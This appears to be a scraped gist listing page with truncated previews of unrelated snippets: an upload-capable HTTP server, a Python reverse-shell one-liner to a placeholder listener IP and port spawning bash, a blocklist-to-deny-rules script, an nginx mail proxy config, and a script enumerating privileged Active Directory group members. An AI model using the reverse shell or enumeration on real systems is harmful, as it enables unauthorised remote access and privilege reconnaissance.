This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
"""Simple HTTP Server With Upload Capabilities. | |
Arguments: | |
python3 HTTPServerWithUpload.py -p 80 | |
python3 HTTPServerWithUpload.py --port 80 | |
""" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
python2.7 -c 'import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<<LISTERNER-IP>>",<<LISTERNER-PORT>>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
curl -s https://dbl.oisd.nl/basic -o tmp_out && sed '/#/d' tmp_out > input | |
echo '{ | |
"description": "", | |
"name": "", | |
"rules": [ | |
{ | |
"action": "deny", | |
"notes": "", |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
server { | |
listen 80; | |
server_name mail.example.com; | |
return 301 https://mail.example.com; | |
} | |
server { | |
listen 443 ssl http2; | |
server_name mail.example.com autodiscover.example.com; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
GROUPLIST=("Domain Admins" "Enterprise Admins" "Administrators" "Schema Admins" "Backup Operators" "Account Operators" "DNS Admins") | |
for GROUP in ${!GROUPLIST[*]} | |
do | |
printf "%s\n" "${GROUPLIST[$GROUP]} contains:" | |
grep -w "${GROUPLIST[$GROUP]}" domain_users.grep | grep -v ACCOUNT_DISABLED | awk -F ';' '{print $3}' | sort && echo "" | |
done |
NewerOlder